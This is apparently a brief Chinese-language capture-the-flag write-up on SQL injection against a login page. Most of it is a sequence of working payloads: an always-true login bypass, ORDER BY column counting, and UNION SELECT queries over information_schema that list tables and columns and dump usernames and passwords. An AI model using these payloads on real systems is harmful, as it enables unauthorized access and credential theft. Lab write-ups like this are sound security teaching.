来看一道sql的题
随便写个用户名和密码
会有这样的提示
尝试一下sql注入,给了一点提示,不过什么都没解出来
万能语句:1' or 1 = 1#
1' order by 4#
确定回显位置:1' union select 1,2,3#
1' union select 1,database(),3#
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'#
1' union select 1,database(),group_concat(id,username,password) from geekuser#
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1#
果然有flag,不过一半在最左边,一半在最右边